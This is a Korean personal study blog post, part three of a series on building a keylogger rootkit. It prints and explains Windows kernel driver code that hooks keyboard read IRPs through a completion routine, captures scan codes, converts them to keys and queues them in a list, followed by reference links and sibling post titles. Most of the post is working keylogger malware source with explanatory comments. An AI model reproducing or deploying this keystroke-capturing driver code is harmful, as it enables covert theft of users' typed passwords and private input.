메모장 입니다2
키로거 루트킷 제작 - 3) 소스설명 - myRead :: IRP Hook 본문
1.myRead
NTSTATUS myRead(
IN PDEVICE_OBJECT myDevObj,
IN PIRP irp
)
{
//NTSTATUS ntStatus = STATUS_NOT_SUPPORTED;
PMYDEVICE_EXTENSION pDeviceExtension;
PDEVICE_OBJECT pNextDev;
PIO_STACK_LOCATION pStack = IoGetCurrentIrpStackLocation(irp);
irpCount++;
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "start::myRead()\n");
DbgPrintEx(DPFLTR_ACPI_ID, 0, "irpCount:%x\n", irpCount);
pDeviceExtension = (PMYDEVICE_EXTENSION)myDevObj->DeviceExtension;
pNextDev = pDeviceExtension->pKeyboardDevice;
switch (pStack->MajorFunction) {
case IRP_MJ_READ: //키보드가 입력됬을 경우
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "The keyboard has been pressed\n");
IoCopyCurrentIrpStackLocationToNext(irp);
//IoSetCompletionRoutine(irp, readCompletion, myDevObj, TRUE, TRUE, TRUE);
IoSetCompletionRoutineEx(myDevObj, irp, readCompletion, NULL, TRUE, TRUE, TRUE);
break;
default:
break;
}
return IoCallDriver(pNextDev, irp);
}
IoSetCompletionRoutineEx(myDevObj, irp, readCompletion, NULL, TRUE, TRUE, TRUE);
: 키보드 입력 IRP 발생시 처리되는 콜백함수를 등록한다
return IoCallDriver(pNextDev, irp);
: 다음 드라이버로 IRP를 넘겨주어, IRP가 정상적으로 처리될 수 있게한다.
2.readCompletion 콜백함수
NTSTATUS readCompletion(
PDEVICE_OBJECT DeviceObject,
PIRP irp,
PVOID Context)
{
//NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(DeviceObject);
UNREFERENCED_PARAMETER(Context);
PMYDEVICE_EXTENSION pMyDevExt = (PMYDEVICE_EXTENSION)DeviceObject->DeviceExtension;
DbgPrintEx(DPFLTR_ACPI_ID, 0, "Call readCompletion()\n");
if (irp->IoStatus.Status == STATUS_SUCCESS)
{
PKEYBOARD_INPUT_DATA keys = irp->AssociatedIrp.SystemBuffer;
int num_keys = irp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
for (int i = 0; i < num_keys; i++)
{
DbgPrintEx(DPFLTR_ACPI_ID, 0, "ScanCode: %x\n", keys[i].MakeCode);
//키보드 데이터 담을 kData 할당
KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool, sizeof(KEY_DATA));
RtlZeroMemory(kData, sizeof(KEY_DATA));
//키보드 데이터 저장.
kData->keyScan = (char)keys[i].MakeCode;
kData->keyFlags = (char)keys[i].Flags;
//스캔코드 -> 키코드(아스키)
convertScanToKey(pMyDevExt, kData, kData->keyCode);
DbgPrintEx(DPFLTR_ACPI_ID, 0, "key:%s\n", kData->keyCode);
/*
//약간의 뻘짓
DbgPrintEx(DPFLTR_ACPI_ID, 0, "####\nchar:%c\n", ((PKEY_DATA)&kData->ListEntry)->keyCode);
if (!((strlen(kData->keyCode) != 0) && (kData->keyFlags == KEY_BREAK)))
goto exit;
KTIMER kTimer;
LARGE_INTEGER timeout;
timeout.QuadPart = (LONGLONG)TIME_SECOND(0.1);
while (flag_one == TRUE)
{
KeInitializeTimer(&kTimer);
KeSetTimer(&kTimer, timeout, NULL);
KeWaitForSingleObject(&kTimer, Executive, KernelMode, FALSE, NULL);
DbgPrintEx(DPFLTR_ACPI_ID, 0, "Waiting until data processing is completed.\n");
}
//키 데이터 리스트에 저장.
if (pMyDevExt->listHead == NULL)
{
DbgPrintEx(DPFLTR_ACPI_ID, 0, "@@@@@\nchar:%c\n", ((PKEY_DATA)&kData->ListEntry)->keyCode);
pMyDevExt->listHead = &kData->ListEntry;
//DbgPrintEx(DPFLTR_ACPI_ID, 0, "listHead:%x\n", pMyDevExt->listHead);
}
else
{
DbgPrintEx(DPFLTR_ACPI_ID, 0, "@@@@@\nchar:%c\n", ((PKEY_DATA)&kData->ListEntry)->keyCode);
PLIST_ENTRY pListCur = pMyDevExt->listHead;
while (pListCur->Blink != NULL)
{
//DbgPrintEx(DPFLTR_ACPI_ID, 0, "pListCur:%x\n", pListCur);
pListCur = pListCur->Blink;
}
//마지막 리스트 Blink에 현재 kData 연결.
pListCur->Blink = &kData->ListEntry;
pListCur->Blink->Flink = pListCur;
//DbgPrintEx(DPFLTR_ACPI_ID, 0, "end list:%x\n", pListCur->Blink);
}
*/
}
}
/*PLIST_ENTRY pListCur = pMyDevExt->listHead;
while (pListCur->Blink != NULL)
{
DbgPrintEx(DPFLTR_ACPI_ID, 0, "char:%c\n", ((PKEY_DATA)pListCur)->keyCode);
pListCur = pListCur->Blink;
}*/
//exit:
//완료루틴 설정시 시스템에서 pending 작업을 하지 않기때문에 수동으로 해줘야 한다.
if (irp->PendingReturned)
{
IoMarkIrpPending(irp);
}
irpCount--;
return irp->IoStatus.Status;
}
*.참조
-드라이버 제작시 알아야할 사항
https://www.benjaminlog.com/entry/what-every-driver-programmer-should-know
윈도우 드라이버를 만들 때 알아야 할 기초적인 내용들
이전에 윈도우 드라이버를 공부하면서 정리해놨던 내용들이다. 여기에 있는 내용들은 전부 이 책에서 배운 내용들이다. 아마 지금까지 나온 윈도우 드라이버 책 중에 가장 좋은 책일 것이며, 앞으로도 이런 책은..
www.benjaminlog.com
-MSDN :: IRP_MJ_READ
https://docs.microsoft.com/en-us/previous-versions//ff542213(v=vs.85)?redirectedfrom=MSDN
IRP_MJ_READ (Kbdclass) (Windows Drivers)
IRP_MJ_READ (Kbdclass) 08/04/2016 2 minutes to read In this article --> A IRP_MJ_READ request transfers data from the Kbdclass input data queue to a client. When Sent The raw input thread in the Microsoft Win32 subsystem sends read requests to obtain keybo
docs.microsoft.com
'Study > 리버싱' 카테고리의 다른 글
Flare VM 설치 (0) | 2020.02.24 |
---|---|
키로거 루트킷 제작 - 4) 시연 (0) | 2020.02.23 |
키로거 루트킷 제작 - 2) 소스 설명 - DriverEntry (0) | 2020.02.23 |
키로거 루트킷 제작 - 1) 개요 (0) | 2020.02.23 |
reversing.kr ] crc1 - 진행중 (0) | 2019.05.27 |